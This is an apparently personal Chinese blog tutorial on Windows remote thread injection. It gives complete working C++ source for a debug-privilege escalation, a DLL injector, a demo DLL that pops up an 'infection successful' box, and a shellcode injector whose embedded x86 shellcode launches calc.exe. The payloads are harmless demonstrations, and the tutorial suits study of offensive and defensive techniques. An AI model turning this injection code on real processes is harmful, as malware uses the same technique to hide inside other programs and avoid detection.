远程线程注入

分为Dll注入和代码注入,优缺点

  • 代码注入: 是没有全局变量和没有使用IAT表的硬编码,放到哪里都能执行。
  • 优点:不易被发现。 缺点:自己写函数十分麻烦。
  • dll注入: 模块注入一整个进去
  • 优点:全局函数IAT都在模块中,使用方便。缺点:容易被检测,特征太明显。

CreateThread和CreateRemoteThread 唯一不同的地方

远程线程注入原理

  • B 往 A注入需要提供线程函数的地址(需要在 A 中),和线程函数的参数(需要在 A 中)

  • 线程函数是有格式要求的,返回类型是 DWORD ,调用约定是Win Api默认调用约定stdcall,参数是 void* 指针。满足这个要求才能调用,有个偶然 LoadLibrary 这个函数 返回值是个句(DWORD),参数虽然不是void* 但是可以转成void* 用。

  • 所以在进程B中创建远程线程以后,直接把线程函数地址指向 LoadLibrary (A 进程中的地址),这个地址直接显式调用即可,因为这个模块是每个程序一定加载的,地址一样的。

  • LoadLibrary 需要一个参数,一个字符串地址,需要用 WriteProcessMemory 写入到 进程 A 中。就获得地址了。

  • 自己执行 LoadLibrary 会获得一个模块句柄,远程线程注入可以通过 GetExitCodeThread 获取线程退出码获取。

注入流程

1 打开进程 OpenProcess
2 远程进程中申请空间 VirtualAllocEx
3 向远程进程写入数据 WriteProcessMemory
4 在远程进程中创建远程线程 CreateRemoteThread
5 等待线程结束返回 WaitForSingleObject
6 释放空间 VirtualFreeEx

dll注入代码

#include"pch.h"
#include<Windows.h>
#include<tlhelp32.h>
#include <assert.h>
#include<tchar.h>
#include <iostream>



//获取进程name的ID
DWORD GetPid(LPTSTR name)
{
	HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);        //获取进程快照句柄
	assert(hProcSnap != INVALID_HANDLE_VALUE);                                 //判断是否打开成功
	PROCESSENTRY32 pe32; 
	pe32.dwSize = sizeof(PROCESSENTRY32);
	BOOL flag = Process32First(hProcSnap, &pe32);                          //获取列表的第一个进程
	while (flag)
	{
		if (!_tcscmp(pe32.szExeFile, name))
		{
			CloseHandle(hProcSnap);
			return pe32.th32ProcessID;//pid
		}
		flag = Process32Next(hProcSnap, &pe32);//获取下一个进程
	}
	CloseHandle(hProcSnap);
	printf("没有找到相关进程");
	return 0;
}


// 提权函数:提升为DEBUG权限
BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk = FALSE;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return fOk;
}

int main()
{
	EnableDebugPrivilege();
	printf("输入要注入的进程名(.exe):\n");
	char cname[260] = {};
	scanf_s("%s", cname, 260);

	printf("输入dll路径(\\)");
	char cpath[260];
	scanf_s("%s", cpath,260);


	DWORD Pid = 0;
	Pid = GetPid((LPTSTR)cname);

	// 用PID打开进程 参数1:权限 参数2:是否继承 参数3:PID
	HANDLE Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
	

	//2. 远程进程中申请空间  
	//参数1:进程句柄 参数2:起始地址(NULL函数决定分配到哪)
	//参数3:要分配的大小(不够一页分一页) 参数4:内存分配类型(保留提交) 参数5:内存保护
	LPVOID Address = VirtualAllocEx(Handle, NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);


	//3.向远程进程写入数据
	//也就是LoadLibrary的参数,即Dll的地址
	//不同的系统使用到的 LoadLibrary 可能是 A/W 的,需要和字符串匹配
	DWORD RealWrite = 0; //实际写入的地址
	// 参数1:进程句柄 参数2:写入数据的起始地址 参数3:写入的数据 参数4:写入字节数 参数5:实际写入字节数
	WriteProcessMemory(Handle, Address, cpath, strlen(cpath)+1, &RealWrite);


	//4. 在目标进程内创建远程线程
	//线程的起始位置是 LoadLibrary,在Windows下,所有 Windows API 在不同进程中的函数地址都是相同
	//参数1:进程句柄 参数2:安全描述符(为0默认) 参数3:堆栈初始大小(为0默认) 
	//参数4:指向由线程执行的,类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针
	//参数5:函数的参数指针 参数6:控制线程创建的标志(为0立即执行) 参数7:指向接收线程标识符的变量的指针(为0不接收)
	HANDLE Thread = CreateRemoteThread(Handle, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, Address, NULL, NULL);


	//5.等待远程线程执行完毕
	WaitForSingleObject(Thread, -1);

	//6. 释放空间
	//可以选择是否释放注入的模块
	VirtualFreeEx(Handle, Address, NULL, MEM_RELEASE);


	system("pause");
	//释放句柄
	CloseHandle(Thread);
	CloseHandle(Handle);
	return 0;




}

dll注入使用的dll代码

  • 仅弹框
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:            //Dll被加载时
		MessageBox(NULL, L"感染成功", L"潜伏", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


代码(shellcode)注入代码

// ShellCode注入.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include<tchar.h>
#include<tlhelp32.h>
#include <assert.h>

//获取进程name的ID
DWORD GetPid(LPCTSTR name)
{
	HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);        //获取进程快照句柄
	assert(hProcSnap != INVALID_HANDLE_VALUE);                                 //判断是否打开成功
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	BOOL flag = Process32First(hProcSnap, &pe32);                          //获取列表的第一个进程
	while (flag)
	{
		if (!_tcscmp(pe32.szExeFile, name))
		{
			CloseHandle(hProcSnap);
			return pe32.th32ProcessID;//pid
		}
		flag = Process32Next(hProcSnap, &pe32);//获取下一个进程
	}
	CloseHandle(hProcSnap);
	printf("没有找到相关进程");
	return 0;
}

//定义需要注入的Shellcode WinExec(calc.exe);
char ShellCode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\
\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\
\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\
\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x53\x52\
\x33\xC9\x51\xB9\x78\x65\x63\x61\x51\x83\x6C\x24\x03\x61\x68\x57\x69\x6E\x45\x54\x53\xFF\
\xD2\x83\xC4\x08\x59\x50\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xDB\x8B\
\xDC\x33\xC9\x41\x51\x53\xFF\xD0";

int main()
{
	//1. 打开进程
	printf("输入要注入的进程名(.exe):\n");
	WCHAR cname[260] = {};
	_tscanf_s(_T("%s"), cname, 260);

	


	DWORD Pid = 0;
	Pid = GetPid((LPCTSTR)cname);
	// 用PID打开进程   参数1:权限 参数2:是否继承 参数3:PID
	HANDLE Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

	//2. 远程进程中申请空间  
	//参数1:进程句柄  参数2:起始地址(NULL函数决定分配到哪)
	//参数3:要分配的大小(不够一页分一页)  参数4:内存分配类型(保留提交)  参数5:内存保护(必须是可执行的)
	LPVOID Address = VirtualAllocEx(Handle, NULL, 0x100, 
		MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	//3.向远程进程写入数据
	// 向内存中写入用于[执行]的 OPCODE 的首地址
	SIZE_T RealWrite = 0;   //实际写入的地址
	// 参数1:进程句柄  参数2:写入数据的起始地址  参数3:写入的数据  参数4:写入字节数(不能用strlen求遇到0结束)  参数5:实际写入字节数
	WriteProcessMemory(Handle, Address, ShellCode, 
		sizeof(ShellCode), &RealWrite);

	//4. 在目标进程内创建远程线程
	//线程的起始位置是拷贝的shellcode的位置
	//参数1:进程句柄  参数2:安全描述符(为0默认)  参数3:堆栈初始大小(为0默认) 
	//参数4:指向由线程执行的,类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针
	//参数5:函数的参数指针  参数6:控制线程创建的标志(为0立即执行)  参数7:指向接收线程标识符的变量的指针(为0不接收)
	HANDLE Thread = CreateRemoteThread(Handle, NULL, NULL, 
		(LPTHREAD_START_ROUTINE)Address, NULL, NULL, NULL);


		//5.等待远程线程执行完毕
	WaitForSingleObject(Thread, -1);

	//6. 释放空间
	//可以选择是否释放注入的模块
	VirtualFreeEx(Handle, Address, NULL, MEM_RELEASE);

	system("pause");
	//释放句柄
	CloseHandle(Thread);
	CloseHandle(Handle);
	return 0;
}


posted @ 2020-05-31 11:37  Kakadewo  阅读(2682)  评论(0)    收藏  举报